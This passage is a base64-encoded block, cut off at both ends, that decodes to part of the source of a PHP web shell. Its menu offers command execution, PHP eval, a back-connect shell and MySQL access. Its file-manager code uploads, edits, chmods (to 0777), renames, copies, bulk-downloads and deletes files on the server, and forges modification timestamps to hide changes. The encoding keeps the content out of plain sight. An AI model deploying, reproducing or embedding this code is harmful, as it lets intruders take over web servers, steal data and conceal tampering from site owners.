ZnKCdzYWZlX21vZGUnKTs/Pjwvc3Bhbj4gDQogICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPkxvZ291dDwvYT4gfCAgDQogICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8ICANCiAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwgIA0KICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4gDQogICAgICAgICAgICA8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYmFja2Nvbm5lY3QnKTsiPkJhY2sgQ29ubmVjdDwvYT48P3BocCB9Pz4gDQogICAgICAgIDwvdGQ+IA0KICAgIDwvdHI+IA0KPC90YWJsZT4gDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4gDQo8P3BocCANCg0KZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7IA0KbWFrZWhpZGUoJ2FjdGlvbicpOyANCmZvcm1mb290KCk7IA0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7IA0KDQovLyAgID8gID/CtyAgIA0KISRkaXIgJiYgJGRpciA9ICcuJzsgDQokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7IA0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7IA0KICAgICRkaXIgPSAkZGlyLicvJzsgDQp9IA0KJHVlZGlyID0gdWUoJGRpcik7IA0KDQppZiAoISRhY3Rpb24gfHwgJGFjdGlvbiA9PSAnZmlsZScpIHsgDQoNCiAgICAvLyAgPz8gPyAgICAgDQogICAgJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOyANCg0KICAgIC8vID8gID/CvCANCiAgICBpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7IA0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgeyANCiAgICAgICAgICAgIG0oJHRoZWZpbGUuJyBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICA/wrwgDQogICAgZWxzZWlmICgkbmV3ZGlybmFtZSkgeyANCiAgICAgICAgJG1rZGlycyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOyANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOyANCiAgICAgICAgICAgIEBjaG1vZCgkbWtkaXJzLDA3NzcpOyANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgLy8gID8gID8gIA0KICAgIGVsc2VpZiAoJGRvdXBmaWxlKSB7IA0KICAgICAgICBtKCdGaWxlIHVwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgfSANCg0KICAgIC8vICAgICogPyAgDQogICAgZWxzZWlmICgkZWRpdGZpbGVuYW1lICYmICRmaWxlY29udGVudCkgeyANCiAgICAgICAgJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsgDQogICAgICAgIG0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgfSANCg0KICAgIC8vICAgICogPyAgICAgIA0KICAgIGVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7IA0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsgDQogICAgICAgICAgICBtKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgDQogICAgZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsgDQogICAgICAgICRubmFtZSA9ICRub3dwYXRoLiRuZXdmaWxlbmFtZTsgDQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsgDQogICAgICAgICAgICBtKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBtKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbmFtZWQgJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgPyAgDQogICAgZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgeyANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7IA0KICAgICAgICAgICAgbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgwqE/ICAgDQogICAgZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmlsZSkgeyANCiAgICAgICAgaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7IA0KICAgICAgICAgICAgbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICA/ICAgPyAgIA0KICAgIGVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7IA0KICAgICAgICBpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsgDQogICAgICAgICAgICBtKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsgDQogICAgICAgICAgICBtKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICAgICAgIA0KICAgIGVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7IA0KICAgICAgICBpZiAoJGRsKSB7IA0KICAgICAgICAgICAgJGRmaWxlcz0nJzsgDQogICAgICAgICAgICBmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAkZGZpbGVzLj0kZmlsZXBhdGguJywnOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOyANCiAgICAgICAgICAgICRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsgDQogICAgICAgICAgICAkemlwPW5ldyBQSFBaaXAoJGRsKTsgDQogICAgICAgICAgICAkY29kZT0kemlwLT5vdXQ7IA0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOyANCiAgICAgICAgICAgIGhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsgDQogICAgICAgICAgICBoZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7IA0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7IA0KICAgICAgICAgICAgZWNobyAkY29kZTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBtKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsgDQogICAgICAgIH0gDQogICAgfSANCg0KICAgIC8vICAgICA/ICAgPyAgDQogICAgZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7IA0KICAgICAgICBpZiAoJGRsKSB7IA0KICAgICAgICAgICAgJGRmaWxlcz0nJzsgDQogICAgICAgICAgICAkc3VjYyA9ICRmYWlsID0gMDsgDQogICAgICAgICAgICBmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICBpZiAoQHVubGluaygkZmlsZXBhdGgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAkc3VjYysrOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAgICAgJGZhaWwrKzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBtKCdEZWxldGVkIGZpbGUgaGF2ZSBmaW5pc2hlZCAgY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIG0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOyANCiAgICAgICAgfSANCiAgICB9IA0KDQogICAgLy8gICAgICAgICANCiAgICBmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7IA0KICAgIG1ha2VoaWRlKCduZXdkaXJuYW1lJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgZm9ybWZvb3QoKTsgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7IA0KICAgIG1ha2VoaWRlKCduZXdwZXJtJyk7IA0KICAgIG1ha2VoaWRlKCdwZmlsZScpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgIGZvcm1mb290KCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOyANCiAgICBtYWtlaGlkZSgnc25hbWUnKTsgDQogICAgbWFrZWhpZGUoJ3RvZmlsZScpOyANCiAgICBtYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7IA0KICAgIGZvcm1mb290KCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlbmFtZScpKTsgDQogICAgbWFrZWhpZGUoJ29sZG5hbWUnKTsgDQogICAgbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgZm9ybWZvb3QoKTsgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicpOyANCiAgICBtYWtlaGlkZSgnb3BmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICAkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOyANCiAgICAhJGZyZWUgJiYgJGZyZWUgPSAwOyANCiAgICAkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOyANCiAgICAhJGFsbCAmJiAkYWxsID0gMDsgDQogICAgJHVzZWQgPSAkYWxsLSRmcmVlOyANCiAgICAkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7IA0KICAgIHAoJzxoMj5GaWxlIE1hbmFnZXIgLSBDdXJyZW50IGRpc2sgZnJlZSAnLnNpemVjb3VudCgkZnJlZSkuJyBvZiAnLnNpemVjb3VudCgkYWxsKS4nICgnLiR1c2VkX3BlcmNlbnQuJyUpPC9oMj4nKTsgDQoNCj8+IA0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4gDQogIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGlkPSJnb2RpciIgbmFtZT0iZ29kaXIiPiANCiAgPHRyPiANCiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPiANCiAgICA8dGQgd2lkdGg9IjEwMCUiPjxpbnB1dCBuYW1lPSJ2aWV3X3dyaXRhYmxlIiB2YWx1ZT0iMCIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9ImRpciIgdmFsdWU9Ijw/cGhwIGVjaG8gJG5vd3BhdGg7Pz4iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDoxMDAlO21hcmdpbjowIDhweDsiPjwvdGQ+IA0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+IA0KICA8L3RyPiANCiAgPC9mb3JtPiANCjwvdGFibGU+IA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCmZ1bmN0aW9uIGNyZWF0ZWRpcigpeyANCiAgICB2YXIgbmV3ZGlybmFtZTsgDQogICAgbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7IA0KICAgIGlmICghbmV3ZGlybmFtZSkgcmV0dXJuOyANCiAgICAkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7IA0KICAgICQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7IA0KICAgIHZhciBuZXdwZXJtOyANCiAgICBuZXdwZXJtID0gcHJvbXB0KCdDdXJyZW50IGZpbGU6JytwZmlsZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGF0dHJpYnV0ZTonLCAnJyk7IA0KICAgIGlmICghbmV3cGVybSkgcmV0dXJuOyANCiAgICAkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsgDQogICAgJCgnZmlsZXBlcm0nKS5wZmlsZS52YWx1ZT1wZmlsZTsgDQogICAgJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gY29weWZpbGUoc25hbWUpeyANCiAgICB2YXIgdG9maWxlOyANCiAgICB0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7IA0KICAgIGlmICghdG9maWxlKSByZXR1cm47IA0KICAgICQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsgDQogICAgJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsgDQogICAgJCgnY29weWZpbGUnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpeyANCiAgICB2YXIgbmV3ZmlsZW5hbWU7IA0KICAgIG5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsgDQogICAgaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOyANCiAgICAkKCdyZW5hbWUnKS5uZXdmaWxlbmFtZS52YWx1ZT1uZXdmaWxlbmFtZTsgDQogICAgJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOyANCiAgICAkKCdyZW5hbWUnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7IA0KICAgIGlmIChtICYmICFjb25maXJtKG0pKSB7IA0KICAgICAgICByZXR1cm47IA0KICAgIH0gDQogICAgJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsgDQogICAgaWYgKHRoZWZpbGUpeyANCiAgICAgICAgJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7IA0KICAgIH0gDQogICAgJCgnZmlsZWxpc3QnKS5zdWJtaXQoKTsgDQp9IA0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsgDQogICAgdmFyIGZpbGVuYW1lOyANCiAgICBmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOyANCiAgICBpZiAoIWZpbGVuYW1lKSByZXR1cm47IA0KICAgIG9wZmlsZSgnZWRpdGZpbGUnLG5vd3BhdGggKyBmaWxlbmFtZSxub3dwYXRoKTsgDQp9IA0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsgDQogICAgJCgnZmlsZW9wZm9ybScpLmFjdGlvbi52YWx1ZT1hY3Rpb247IA0KICAgICQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOyANCiAgICAkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsgDQogICAgJCgnZmlsZW9wZm9ybScpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7IA0KICAgIGlmICh2aWV3X3dyaXRhYmxlKSB7IA0KICAgICAgICAkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsgDQogICAgfSANCiAgICAkKCdnb2RpcicpLmRpci52YWx1ZT1kaXI7IA0KICAgICQoJ2dvZGlyJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCiAgPD9waHAgDQogICAgdGJoZWFkKCk7IA0KICAgIHAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPjx0ciBjbGFzcz0iYWx0MSI+PHRkIGNvbHNwYW49IjciIHN0eWxlPSJwYWRkaW5nOjVweDsiPicpOyANCiAgICBwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7IA0KICAgIHAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7IA0KICAgIGlmICgkdmlld193cml0YWJsZSkgeyANCiAgICAgICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnLFwnMVwnKTsiPlZpZXcgV3JpdGFibGU8L2E+Jyk7IA0KICAgIH0gDQogICAgcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7IA0KICAgIGlmIChJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsgDQogICAgICAgIGlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgeyANCiAgICAgICAgICAgICREcml2ZVR5cGVEQiA9IGFycmF5KDAgPT4gJ1Vua25vdycsMSA9PiAnUmVtb3ZhYmxlJywyID0+ICdGaXhlZCcsMyA9PiAnTmV0d29yaycsNCA9PiAnQ0RSb20nLDUgPT4gJ1JBTSBEaXNrJyk7IA0KICAgICAgICAgICAgZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7IA0KICAgICAgICAgICAgICAgIGlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iU2l6ZTonLnNpemVjb3VudCgkZHJpdmUtPlRvdGFsU2l6ZSkuJw0KRnJlZTonLnNpemVjb3VudCgkZHJpdmUtPkZyZWVTcGFjZSkuJw0KVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICBwKCc8L3RkPjwvdHI+PC9mb3JtPicpOyANCg0KICAgIHAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOyANCg0KICAgIC8vID8gICA/ID8gPyAgID/CvCANCiAgICAkZGlyZGF0YT1hcnJheSgpOyANCiAgICAkZmlsZWRhdGE9YXJyYXkoKTsgDQoNCiAgICBpZiAoJHZpZXdfd3JpdGFibGUpIHsgDQogICAgICAgICRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAvLyA/wrwgPyAgDQogICAgICAgICRkaXJzPUBvcGVuZGlyKCRkaXIpOyANCiAgICAgICAgd2hpbGUgKCRmaWxlPUByZWFkZGlyKCRkaXJzKSkgeyANCiAgICAgICAgICAgICRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsgDQogICAgICAgICAgICBpZihAaXNfZGlyKCRmaWxlcGF0aCkpeyANCiAgICAgICAgICAgICAgICAkZGlyZGJbJ2ZpbGVuYW1lJ109JGZpbGU7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnZGlycGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOyANCiAgICAgICAgICAgICAgICAkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsgDQogICAgICAgICAgICAgICAgJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7IA0KICAgICAgICAgICAgICAgICRkaXJkYXRhW109JGRpcmRiOyANCiAgICAgICAgICAgIH0gZWxzZSB7ICAgICAgICAgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsgDQogICAgICAgICAgICAgICAgJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ210aW1lJ109QGRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJGZpbGVwYXRoKSk7IA0KICAgICAgICAgICAgICAgICRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0